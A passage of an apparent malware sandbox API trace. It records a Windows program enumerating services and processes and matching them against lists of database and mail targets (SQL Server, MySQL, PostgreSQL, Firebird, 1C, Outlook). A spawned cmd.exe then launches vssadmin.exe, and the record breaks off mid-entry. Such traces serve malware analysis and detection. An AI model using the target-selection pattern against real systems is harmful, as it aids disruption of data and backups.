lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0057.629] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0057.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0057.629] lstrlenW (lpString="TrkWks") returned 6 [0057.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0057.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0057.629] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0057.629] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0057.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0057.629] lstrlenW (lpString="UxSms") returned 5 [0057.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0057.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0057.629] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0057.629] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0057.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0057.629] lstrlenW (lpString="VSS") returned 3 [0057.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0057.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0057.630] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0057.630] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0057.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0057.630] lstrlenW (lpString="WdiServiceHost") returned 14 [0057.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0057.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0057.630] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0057.630] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0057.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0057.630] lstrlenW (lpString="WdiSystemHost") returned 13 [0057.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0057.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0057.630] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0057.630] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0057.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0057.630] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0057.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0057.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0057.630] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0057.630] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0057.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0057.630] lstrlenW (lpString="Winmgmt") returned 7 [0057.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0057.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0057.630] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0057.630] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0057.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0057.630] lstrlenW (lpString="WPDBusEnum") returned 10 [0057.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0057.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0057.631] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0057.631] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0057.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0057.631] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f00060 | out: hHeap=0x5a0000) returned 1 [0057.631] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x208 [0057.633] Process32FirstW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0057.634] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0057.634] lstrlenW (lpString="System") returned 6 [0057.635] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0057.635] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0057.635] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0057.635] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0057.635] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0057.635] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0057.635] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0057.635] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0057.635] lstrlenW (lpString="smss.exe") returned 8 [0057.635] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0057.635] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0057.635] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0057.635] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0057.635] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0057.635] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0057.635] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0057.636] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.636] lstrlenW (lpString="csrss.exe") returned 9 [0057.636] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0057.636] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0057.636] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0057.636] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0057.636] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0057.636] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0057.636] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0057.636] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0057.637] lstrlenW (lpString="wininit.exe") returned 11 [0057.637] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0057.637] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0057.637] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0057.637] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.638] lstrlenW (lpString="csrss.exe") returned 9 [0057.638] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0057.638] lstrlenW (lpString="winlogon.exe") returned 12 [0057.638] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0057.639] lstrlenW (lpString="services.exe") returned 12 [0057.639] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0057.639] lstrlenW (lpString="lsass.exe") returned 9 [0057.640] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0057.640] lstrlenW (lpString="lsm.exe") returned 7 [0057.640] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.641] lstrlenW (lpString="svchost.exe") returned 11 [0057.641] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.641] lstrlenW (lpString="svchost.exe") returned 11 [0057.641] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.642] lstrlenW (lpString="svchost.exe") returned 11 [0057.642] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.642] lstrlenW (lpString="svchost.exe") returned 11 [0057.642] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.645] lstrlenW (lpString="svchost.exe") returned 11 [0057.645] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0057.646] lstrlenW (lpString="audiodg.exe") returned 11 [0057.646] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.646] lstrlenW (lpString="svchost.exe") returned 11 [0057.646] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.647] lstrlenW (lpString="svchost.exe") returned 11 [0057.647] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0057.647] lstrlenW (lpString="dwm.exe") returned 7 [0057.647] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0057.648] lstrlenW (lpString="explorer.exe") returned 12 [0057.648] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0057.648] lstrlenW (lpString="spoolsv.exe") returned 11 [0057.648] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0057.649] lstrlenW (lpString="taskhost.exe") returned 12 [0057.649] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.649] lstrlenW (lpString="svchost.exe") returned 11 [0057.650] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0057.650] lstrlenW (lpString="taskeng.exe") returned 11 [0057.650] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0057.651] lstrlenW (lpString="taskhost.exe") returned 12 [0057.651] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotesrouting.exe")) returned 1 [0057.651] lstrlenW (lpString="promotesrouting.exe") returned 19 [0057.651] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rxcalled.exe")) returned 1 [0057.652] lstrlenW (lpString="rxcalled.exe") returned 12 [0057.652] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="off.exe")) returned 1 [0057.652] lstrlenW (lpString="off.exe") returned 7 [0057.652] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mayorintl.exe")) returned 1 [0057.653] lstrlenW (lpString="mayorintl.exe") returned 13 [0057.653] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gzip-june.exe")) returned 1 [0057.654] lstrlenW (lpString="gzip-june.exe") returned 13 [0057.654] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsnavy.exe")) returned 1 [0057.654] lstrlenW (lpString="lsnavy.exe") returned 10 [0057.654] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing-scott-que.exe")) returned 1 [0057.655] lstrlenW (lpString="placing-scott-que.exe") returned 21 [0057.655] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifications.exe")) returned 1 [0057.874] lstrlenW (lpString="specifications.exe") returned 18 [0057.875] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soup-mario.exe")) returned 1 [0057.875] lstrlenW (lpString="soup-mario.exe") returned 14 [0057.875] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cultures-possession-please.exe")) returned 1 [0057.876] lstrlenW (lpString="cultures-possession-please.exe") returned 30 [0057.876] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="platformsprivate.exe")) returned 1 [0057.877] lstrlenW (lpString="platformsprivate.exe") returned 20 [0057.877] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valve tabs intelligent.exe")) returned 1 [0057.877] lstrlenW (lpString="valve tabs intelligent.exe") returned 26 [0057.877] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bangkok-updates.exe")) returned 1 [0057.878] lstrlenW (lpString="bangkok-updates.exe") returned 19 [0057.878] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scan-allows.exe")) returned 1 [0057.879] lstrlenW (lpString="scan-allows.exe") returned 15 [0057.879] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mwprovince.exe")) returned 1 [0057.879] lstrlenW (lpString="mwprovince.exe") returned 14 [0057.879] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hired_reality_again.exe")) returned 1 [0057.880] lstrlenW (lpString="hired_reality_again.exe") returned 23 [0057.880] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharonphonedebut.exe")) returned 1 [0057.881] lstrlenW (lpString="sharonphonedebut.exe") returned 20 [0057.881] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacting.exe")) returned 1 [0057.882] lstrlenW (lpString="contacting.exe") returned 14 [0057.882] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="continues_does_laos.exe")) returned 1 [0057.882] lstrlenW (lpString="continues_does_laos.exe") returned 23 [0057.882] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jpmanagers.exe")) returned 1 [0057.883] lstrlenW (lpString="jpmanagers.exe") returned 14 [0057.883] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="motor.exe")) returned 1 [0057.884] lstrlenW (lpString="motor.exe") returned 9 [0057.884] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="comboashleyalan.exe")) returned 1 [0057.884] lstrlenW (lpString="comboashleyalan.exe") returned 19 [0057.884] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toshiba.exe")) returned 1 [0057.885] lstrlenW (lpString="toshiba.exe") returned 11 [0057.885] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0057.886] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0057.886] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0057.886] lstrlenW (lpString="mobsync.exe") returned 11 [0057.886] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0057.887] lstrlenW (lpString="3G6885.exe") returned 10 [0057.887] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x99c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0057.888] lstrlenW (lpString="cmd.exe") returned 7 [0057.888] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0057.889] lstrlenW (lpString="conhost.exe") returned 11 [0057.889] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0057.889] lstrlenW (lpString="vssadmin.exe") returned 12 [0057.889] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0057.890] lstrlenW (lpString="VSSVC.exe") returned 9 [0057.890] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, 